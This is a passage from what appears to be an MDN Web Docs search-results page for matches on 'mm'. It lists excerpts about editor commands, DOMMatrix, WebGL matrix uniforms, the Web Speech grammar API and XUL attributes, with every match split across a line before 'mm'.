mmands (generally legal when there is a selection): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharprevious cmd_selectcharnext cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmoveb...
...ottom editor co
mmands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_move...
...And 2 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
the purpose of this page is to provide provide theme developers with notes on how to fix co
mmon issues.
... it is a companion document to the amo editors guide co
mmon theme problems, which provides editors with "boilerplate" copy and paste review notes for co
mmon theme issues.
... the problem is co
mmonly caused by a -moz-appearance:menulist style rule in chrome://global/skin/menulist.css.
...And 2 more matches
Typesetting a community school homepage - Learn web development
previous overview: styling text in this assessment we'll test your understanding of all the text styling techniques we've covered throughout this module by getting you to style the text for a co
mmunity school's homepage.
... project brief you have been provided with some raw html for the homepage of an imaginary co
mmunity college, plus some css that styles the page into a three column layout and provides some other rudimentary styling.
... you are to write your css additions below the co
mment at the bottom of the css file, to make sure it is easy to mark the bits you have done.
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
one of the most co
mmon engagements you'll have with promises is with web apis that return a promise.
...also, the user may not respond i
mmediately to these permission requests.
... the important thing here is that the getusermedia() call returns almost i
mmediately, even if the camera stream hasn't been obtained yet.
...And 2 more matches
Communicating with frame scripts
chrome code and frame scripts co
mmunicate back and forth using a messaging api which can include json-serializable objects as arguments.
... the api is mostly sy
mmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content.
...the listener will be passed a message object whose data property is the message payload: // frame script function handlemessagefromchrome(message) { var payload = message.data.details; // "some more details" } addmessagelistener("my-addon@me.org:message-from-chrome", handlemessagefromchrome); message-manager-disconnect if you're using a message manager to co
mmunicate with a script that may be running in a different process, you can listen for the message-manager-disconnect observer notification to know when the message manager has disconnected from the other end of the conversation, so you can stop sending it messages or expecting to receive messages.
...And 2 more matches
nsMsgViewCommandType
the nsmsgviewco
mmandtype interface contains constants used for co
mmands in thunderbird.
... for example to mark a message read, you would call: // assuming gdbview is a global nsimsgdbview gdbview.doco
mmand(components.interfaces.nsmsgviewco
mmandtype.markmessagesread); mailnews/base/public/nsimsgdbview.idlscriptable please add a su
mmary to this article.
...use with nsimsgdbview.doco
mmandwithfolder() to select the destination folder.
...And 2 more matches
DOMMatrix() - Web APIs
the do
mmatrix constructor creates a new do
mmatrix object which represents 4x4 matrices, suitable for 2d and 3d operations..
... syntax var do
mmatrix = new do
mmatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string.
... example this example creates a do
mmatrix to use as an argument for calling point.matrixtransform().
...And 2 more matches
DOMMatrixReadOnly.translate() - Web APIs
the translate() method of the do
mmatrixreadonly interface creates a new matrix being the result of the original matrix with a translation applied.
... do
mmatrix.translate(translatex, translatey[, translatez]) parameters translatex a number representing the abscissa (x-coordinate) of the translating vector.
... return value returns a do
mmatrix containing a new matrix being the result of the matrix being translated by the given vector.
...And 2 more matches
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
the webgl2renderingcontext.unifor
mmatrix[234]x[234]fv() methods of the webgl 2 api specify matrix values for uniform variables.
... syntax void gl.unifor
mmatrix2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix3x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix4x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix2x3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix4x3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix2x4fv(location, transpose, data, optional srcoffset, optional srclength);...
... void gl.unifor
mmatrix3x4fv(location, transpose, data, optional srcoffset, optional srclength); void gl.unifor
mmatrix4fv(location, transpose, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
...And 2 more matches
WebGLRenderingContext.uniformMatrix[234]fv() - Web APIs
the webglrenderingcontext.unifor
mmatrix[234]fv() methods of the webgl api specify matrix values for uniform variables.
... the three versions of this method (unifor
mmatrix2fv(), unifor
mmatrix3fv(), and unifor
mmatrix4fv()) take as the input value 2-component, 3-component, and 4-component square matrices, respectively.
... syntax webglrenderingcontext.unifor
mmatrix2fv(location, transpose, value); webglrenderingcontext.unifor
mmatrix3fv(location, transpose, value); webglrenderingcontext.unifor
mmatrix4fv(location, transpose, value); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
...And 2 more matches
Communicating using "port" - Archive of obsolete content
to enable add-on scripts and content scripts to co
mmunicate with each other, each end of the conversation has access to a port object.
... accessing port in the add-on script in the add-on code, the channel of co
mmunication between the add-on and a particular content script context is encapsulated by the worker object.
... thus the port object for co
mmunicating with a content script is a property of the corresponding worker object.
...u can just call panel.port.emit(): var panel = require("sdk/panel").panel({ contentscript: "self.port.on('alert', function(text) {" + " console.log(text);" + "});" }); panel.show(); panel.port.emit("alert", "panel is showing"); the panel and page-worker objects only host a single page at a time, so each distinct page object only needs a single channel of co
mmunication to its content scripts.
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a dynamic progra
mming language is a progra
mming language in which operations otherwise done at compile-time can be done at run-time.
... this is opposed to so-called static progra
mming languages, in which such changes are normally not possible.
... note that while there is indeed a connection between this dynamic/static property of progra
mming languages and dynamic/static-typing, the two are far from synonymous.
... learn more general knowledge dynamic progra
mming language on wikipedia ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
sy
mmetric-key cryptography is a term used for cryptographic algorithms that use the same key for encryption and for decryption.
... the key is usually called a "sy
mmetric key" or a "secret key".
... sy
mmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance.
... most sy
mmetric-key algorithms currently in use are block ciphers: this means that they encrypt data one block at a time.
What do common web layouts contain? - Learn web development
when designing pages for your website, it's good to have an idea of the most co
mmon layouts.
... su
mmary there's a reason we talk about web design.
...we have over 25 years' experience and we'll give you some co
mmon rules of thumb to help you design your site.
... these elements are quite co
mmon in all form factors, but they can be laid out different ways.
Use HTML to solve common problems - Learn web development
the following links point to solutions to co
mmon everyday problems you'll need to solve with html.
... how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage unco
mmon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems.
... these articles help you tackle the less co
mmon use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server.
...it provides tools to handle co
mmon internationalization issues.
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
a mathml
mmultiscripts object allows you to build tensor-like objects.
...there are some variations possible: <
mmultiscripts> a a b c d , nested <msubsup>s a a b c d , or &invisibleco
mma; a a c b d .
... displays a mathml
mmultiscripts objects allows you to build tensor-like objects.
... for example m c d a b the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a there are some variations possible: <
mmultiscripts> a a b c d nested <msubsup>s a a b c d or &invisibleco
mma; a a c b d ...
JS_MakeStringImmutable
syntax jsbool js_makestringi
mmutable(jscontext *cx, jsstring *str); name type description cx jscontext * a context.
... a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or i
mmutable) string.
...applications must call js_makestringi
mmutable before sharing a jsstring among threads by storing it in a c/c++ variable, field, or array element that another thread can read.
... (when an application shares a string by storing it in a javascript object that another thread can read, the javascript engine automatically makes the string thread-safe.) after a successful call to js_makestringi
mmutable, subsequent calls to js_getstringcharsz on the same string are guaranteed to succeed, and subsequent calls to js_getstringchars on the same string are guaranteed to return a null-terminated string.
nsIMsgDBViewCommandUpdater
the nsimsgdbviewco
mmandupdater interface controls changes that occur as the selection changes.
... mailnews/base/public/nsimsgdbview.idl#349scriptable please add a su
mmary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdbviewco
mmandupdater (for the standalone message window) nsmsgdbviewco
mmandupdater (for the threadpane message window) nsmsgsearchco
mmandupdater (for search dialogs) method overview void updateco
mmandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updateco
mmandstatus() called when the number of selected items changes.
... void updateco
mmandstatus(); parameters none.
DOMMatrixReadOnly() - Web APIs
the do
mmatrixreadonly constructor creates a new do
mmatrixreadonly object which represents 4x4 matrices, suitable for 2d and 3d operations.
... syntax var do
mmatrixreadonly = new do
mmatrixreadonly([init]) parameters init optional either a string containing a sequence of numbers or an array of integers specifying the matrix you want to create.
... specifications specification status co
mment geometry interfaces module level 1the definition of 'do
mmatrixreadonly' in that specification.
... candidate reco
mmendation initial definition.
DOMMatrixReadOnly.flipX() - Web APIs
the flipx() method of the do
mmatrixreadonly interface creates a new matrix being the result of the original matrix flipped about the x-axis.
... syntax do
mmatrix.flipx() return value returns a do
mmatrix containing a new matrix being the result of the original matrix flipped about the x-axis, which is equivalent to multiplying the matrix by do
mmatrix(-1, 0, 0, 1, 0, 0).
... const flipped = document.getelementbyid('flipped'); const matrix = new do
mmatrixreadonly(); const flippedmatrix = matrix.flipx(); flipped.setattribute('transform', flippedmatrix.tostring()); screenshotlive sample specifications specification status co
mment geometry interfaces module level 1the definition of 'do
mmatrixreadonly.flipx()' in that specification.
... candidate reco
mmendation initial definition ...
Document.queryCommandSupported() - Web APIs
the document.queryco
mmandsupported() method reports whether or not the specified editor co
mmand is supported by the browser.
... syntax issupported = document.queryco
mmandsupported(co
mmand); parameters co
mmand the co
mmand for which to determine support.
... return value returns a boolean which is true if the co
mmand is supported and false if the co
mmand isn't.
... notes the 'paste' co
mmand return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action [1] example var flg = document.queryco
mmandsupported("selectall"); if(flg) { // ...do something } specifications specification status co
mment execco
mmand ...
SpeechGrammar.src - Web APIs
the src property of the speechgra
mmar interface sets and returns a string containing the gra
mmar from within in the speechgra
mmar object.
... syntax var mygra
mmar = speechgra
mmarinstance.src; value a domstring representing the gra
mmar.
... examples var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the gra
mmar variable console.log(speechrecogn...
... specifications specification status co
mment web speech apithe definition of 'src' in that specification.
SpeechGrammar.weight - Web APIs
the optional weight property of the speechgra
mmar interface sets and returns the weight of the speechgra
mmar object.
... syntax var mygra
mmarweight = speechgra
mmarinstance.weight; value a float representing the weight of the gra
mmar, in the range 0.0–1.0.
... examples var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the gra
mmar variable console.log(speechrecogn...
... specifications specification status co
mment web speech apithe definition of 'weight' in that specification.
SpeechGrammarList.item() - Web APIs
the item getter of the speechgra
mmarlist interface is a standard getter — it allows individual speechgra
mmar objects to be retrieved from the speechgra
mmarlist using array syntax.
... syntax var myfirstgra
mmar = speechgra
mmarlistinstance[0]; returns a speechgra
mmar object.
... examples var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; var myfirstgra
mmar = speechrecognitionlist[0]; // var should contain the speechgra
mmar object created in line 4.
... specifications specification status co
mment web speech apithe definition of 'item()' in that specification.
SpeechGrammarList.length - Web APIs
the length read-only property of the speechgra
mmarlist interface returns the number of speechgra
mmar objects contained in the speechgra
mmarlist.
... syntax var mylistlength = speechgra
mmarlistinstance.length; value a number indicating the number of speechgra
mmar objects contained in the speechgra
mmarlist.
... examples var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
... specifications specification status co
mment web speech apithe definition of 'length' in that specification.
SpeechRecognition.grammars - Web APIs
the gra
mmars property of the speechrecognition interface returns and sets a collection of speechgra
mmar objects that represent the gra
mmars that will be understood by the current speechrecognition.
... syntax var mygra
mmars = myspeechrecognition.gra
mmars; myspeechrecognition.gra
mmars = myspeechgra
mmarlist; value a speechgra
mmarlist containing the speechgra
mmar objects that represent your gra
mmar for your app.
... var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognitio...
... specifications specification status co
mment web speech apithe definition of 'gra
mmars' in that specification.
Window.updateCommands() - Web APIs
su
mmary updates the state of co
mmands of the current chrome window (ui).
... syntax window.updateco
mmands("sco
mmandname") parameters sco
mmandname is a particular string which describes what kind of update event this is (e.g.
... notes this enables or disables items (setting or clearing the "disabled" attribute on the co
mmand node as appropriate), or ensures that the co
mmand state reflects the state of the selection by setting current state information in the "state" attribute of the xul co
mmand nodes.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdateco
mmands non-standardchrome no support noedge no support nofirefox full support yesie ?
<small>: the side comment element - HTML: Hypertext Markup Language
the html <small> element represents side-co
mments and small print, like copyright and legal text, independent of its styled presentation.
... <span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status co
mments html living standardthe definition of '<small>' in that specification.
... reco
mmendation html 4.01 specificationthe definition of '<small>' in that specification.
... reco
mmendation notes although the <small> element, like the <b> and <i> elements, may be perceived to violate the principle of separation between structure and presentation, all three are valid in html5.
Recommended Web Performance Timings: How long is too long? - Web Performance
as noted in the description of the critical rendering path, when received, browsers i
mmediately start processing the html, rendering the content as it is received rather than waiting for additional assets to load.
...if you wait three or four seconds without co
mmunicating to the user that a load is happening and showing some progress, the typical site will lose potential visitors, and those visitors will take a long time to come back if they ever do.
...50ms seconds feels i
mmediate.
... the acknowledgment of user interaction should often feel i
mmediate, such as a hover or button press, but that doesn't mean the completed response should be instantaneous.
Message Summary Database - Archive of obsolete content
the mail su
mmary files (.msf) are used to store su
mmary information about messages and threads in a folder, and some meta information about the folder.
... nsimsgdatabase the main access point to the su
mmary information is nsimsgdatabase.
...this includes a set of per-message flags, the more co
mmonly used headers (e.g., subject, sender, from, to, cc, date, etc), and a few other attributes, e.g., keywords.
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:co
mmunity more at http://www.mozilla.org/co
mmunity/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards co
mmunities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a co
mmercia...
...archived devedge newsletters are at http://devedge-temp.mozilla.org/co
mmunity/news/ feeds recent changes rss feed warning: this feed is updated very often.
...the list of old devedge feeds is at http://devedge-temp.mozilla.org/co
mm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to this website (but not technical questions), please send your message to the mdc mailing list.
commandupdater - Archive of obsolete content
« xul reference home co
mmandupdater type: boolean if true, the co
mmandset is used for updating co
mmands.
... typically, this is used to update menu co
mmands such as undo and cut based on when an event occurs.
... for example, since the cut co
mmand is only valid when something is selected, a co
mmand updater might be used when the select event occurs.
oncommand - Archive of obsolete content
« xul reference home onco
mmand type: script code this event handler is called when the co
mmand is activated.
... this occurs when a user selects a menu item or presses a keyboard shortcut attached to the co
mmand.
... example 1: in-line code <button label="click me" onco
mmand="alert('hi')"/> example 2: function with source argument <button label="click me" onco
mmand="dosomeprocessing(event.target)"/> and here is the definition of the function: function dosomeprocessing(source) { alert("source: " + source); return true; } see also co
mmand element ...
showcommentcolumn - Archive of obsolete content
« xul reference home showco
mmentcolumn new in thunderbird 3requires seamonkey 2.0 type: boolean if true, a co
mment column appears in the popup.
... for the url history, the co
mment column will contain the page titles associated with each url.
... if this attribute is not specified, the co
mment column doesn't appear.
textbox.showCommentColumn - Archive of obsolete content
« xul reference home showco
mmentcolumn obsolete since gecko 1.9.1 type: boolean if true, a co
mment column appears in the popup.
... for the url history, the co
mment column will contain the page titles associated with each url.
... if this attribute is not specified, the co
mment column doesn't appear.
Summary of Changes - Archive of obsolete content
proprietary or deprecated feature w3c feature or reco
mmended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripti...
...ng non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or reco
mmended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textcontent attribute her...
...le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or reco
mmended replacement ...
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a high-level progra
mming language has a significant abstraction from the details of computer operation.
...unlike low-level progra
mming languages, it may use natural language elements, or may automate (or even entirely hide) significant areas of computing systems, making the process of developing simpler and more understandable relative to a lower-level language.
... the amount of abstraction provided defines how "high-level" a progra
mming language is.
Use CSS to solve common problems - Learn web development
the following links provide solutions to co
mmon problems you may face when working with css.
... co
mmon use cases basics how to apply css to the dom how to use whitespace in css how to write co
mments in css how to select elements via element name, class or id how to select elements via attribute name and content how to use pseudo-classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the background is drawn under how do i define inline, block, and inline-block?
... how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html table how to add shadows to boxes unco
mmon and advanced techniques css allows some advanced design techniques.
The Rust programming language
rust is a new open-source systems progra
mming language created by mozilla and a co
mmunity of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
... read the book the rust progra
mming language online.
... rust and the future of systems progra
mming unlocking the power of parallelism with rust rust for web developers safe systems progra
mming with rust growing the rust co
mmunity putting rust into production at mozilla ...
nsIDOMMouseScrollEvent
dom/interfaces/events/nsido
mmousescrollevent.idlscriptable this interface represents a mouse scroll wheel event.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsido
mmouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsido
mmouseevent.
... see also nsido
mmouseevent nsidomevent nsidomeventtarget ...
nsIDOMMozTouchEvent
the nsido
mmoztouchevent interface describes a raw touch event.
... dom/interfaces/events/nsido
mmoztouchevent.idlscriptable please add a su
mmary to this article.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsido
mmouseevent method overview void initmoztouchevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in ...
Animation.commitStyles() - Web APIs
the co
mmitstyles() method of the web animations api's animation interface co
mmits the end styling state of an animation to the element being animated, even after that animation has been removed.
... syntax animation.co
mmitstyles(); parameters none.
... examples const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); }); specifications specification status co
mment web animationsthe definition of 'co
mmitstyles()' in that specification.
DeviceMotionEventRotationRate: gamma - Web APIs
syntax var ga
mma = devicerotationrate.ga
mma; this property is read-only.
... return value ga
mma a double indicating the rate of rotation around the y axis, in degrees per second.
... specifications specification status co
mment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: ga
mma' in that specification.
Document.createComment() - Web APIs
createco
mment() creates a new co
mment node, and returns it.
... syntax co
mmentnode = document.createco
mment(data); parameters data a string containing the data to be added to the co
mment.
... example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var co
mment = docu.createco
mment('this is a not-so-secret co
mment in your document'); docu.getelementsbytagname('xml')[0].appendchild(co
mment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret co
mment in your document--></xml> specifications specification status co
mment domthe definition of 'document.createco
mment' in that specification.
Document.queryCommandState() - Web APIs
the queryco
mmandstate() method will tell you if the current selection has a certain document.execco
mmand() co
mmand applied.
... syntax queryco
mmandstate(string co
mmand) parameters co
mmand is a co
mmand from document.execco
mmand() return value queryco
mmandstate() can return a boolean value or null if the state is unknown.
... example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' co
mmand</button> javascript function makebold() { var state = document.queryco
mmandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' co
mmand is indeterminable."); break; } document.execco
mmand('bold'); } result specifications specification status co
mment execco
mmand ...
Event.stopImmediatePropagation() - Web APIs
the stopi
mmediatepropagation() method of the event interface prevents other listeners of the same event from being called.
...if stopi
mmediatepropagation() is invoked during one such call, no remaining listeners will be called.
... syntax event.stopi
mmediatepropagation(); specifications specification status co
mment domthe definition of 'event.stopi
mmediatepropagation()' in that specification.
WebGLRenderingContext.commit() - Web APIs
the webglrenderingcontext.co
mmit() method pushes frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... syntax void webglrenderingcontext.co
mmit() examples var htmlcanvas = document.createelement('canvas'); var offscreen = htmlcanvas.transfercontroltooffscreen(); var gl = offscreen.getcontext('webgl'); // ...
... // push frames back to the original htmlcanvaselement gl.co
mmit(); specifications specification status co
mment html living standardthe definition of 'the co
mmit() method of the offscreencanvas object's rendering context' in that specification.
Window.clearImmediate() - Web APIs
this method clears the action specified by window.seti
mmediate.
... syntax window.cleari
mmediate( i
mmediateid ) where i
mmediateid is a id returned by window.seti
mmediate.
... examples let i
mmediateid = seti
mmediate(() => { // run some code } document.getelementbyid("button") .addeventlistener(() => { cleari
mmediate(i
mmediateid); }); specifications specification status co
mment efficient script yielding the definition of 'seti
mmediate' in that specification.
::grammar-error - CSS: Cascading Style Sheets
the ::gra
mmar-error css pseudo-element represents a text segment which the user agent has flagged as gra
mmatically incorrect.
... allowable properties only a small subset of css properties can be used in a rule with ::gra
mmar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::gra
mmar-error examples simple document gra
mmar check in this example, eventual supporting browsers should highlight any flagged gra
mmatical errors with the styles shown.
... html <p>my friends is coming to the party tonight.</p> css ::gra
mmar-error { text-decoration: underline red; color: red; } result specifications specification status co
mment css pseudo-elements level 4the definition of '::gra
mmar-error' in that specification.
SyntaxError: identifier starts immediately after numeric literal - JavaScript
the javascript exception "identifier starts i
mmediately after numeric literal" occurs when an identifier started with a digit.
... message syntaxerror: unexpected identifier after numeric literal (edge) syntaxerror: identifier starts i
mmediately after numeric literal (firefox) syntaxerror: unexpected number (chrome) error type syntaxerror what went wrong?
...the following fails: var 1life = 'foo'; // syntaxerror: identifier starts i
mmediately after numeric literal var foo = 1life; // syntaxerror: identifier starts i
mmediately after numeric literal alert(1.foo); // syntaxerror: identifier starts i
mmediately after numeric literal you will need to rename your variable to avoid the leading number.
logComment - Archive of obsolete content
logco
mment adds a co
mment line to the installation log.
... method of install object syntax int logco
mment( string aco
mment ); parameters the sole input parameter is a string whose value will be written to the log during the installation process.
command - Archive of obsolete content
« xul reference home co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
... example <co
mmand id="cmd_openhelp" onco
mmand="alert('help');"/> <button label="help" co
mmand="cmd_openhelp"/> <button label="more help" co
mmand="cmd_openhelp"/> see also co
mmand element, onco
mmand and co
mmandset ...
Index - Archive of obsolete content
found 3833 pages: # page tags and su
mmary 1 archive of obsolete content archive, landing here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers.
... 3 2015 mdn fellowship program 2015, archive, fellowship no su
mmary!
... 8 window: userproximity event sensors, events no su
mmary!
...And 1420 more matches
Index - Archive of obsolete content
found 1218 pages: # page tags and su
mmary 1 xul landing, mozilla, xul xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox.
... 5 attribute (xul) xul attributes, xul reference no su
mmary!
... 7 accelerated xul, xul attribute, xul reference no su
mmary!
...And 928 more matches
Index
found 1275 pages: # page tags and su
mmary 1 xpcom add-ons, extensions, landing, mozilla, xpcom xpcom is a cross platform component object model, similar to microsoft com.
... 3 aggregating the in-memory datasource rdf no su
mmary!
... 7 fun with xbl and xpconnect xbl, xpcom, xpcom:language bindings, xpconnect no su
mmary!
...And 285 more matches
Index
found 353 pages: # page tags and su
mmary 1 network security services jss, nss, needsmigration network security services (nss) is a set of libraries designed to support cross-platform development of security-enabled client and server applications.
...nss is a library written in the c progra
mming language.
...in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application progra
mming interfaces (apis) for os specific apis like file system access, memory management, network co
mmunication, and multithreaded progra
mming.
...And 274 more matches
Index - Web APIs
found 5328 pages: # page tags and su
mmary 1 web apis api, dom, landing, reference, web when writing code for the web, there are a large number of web apis available.
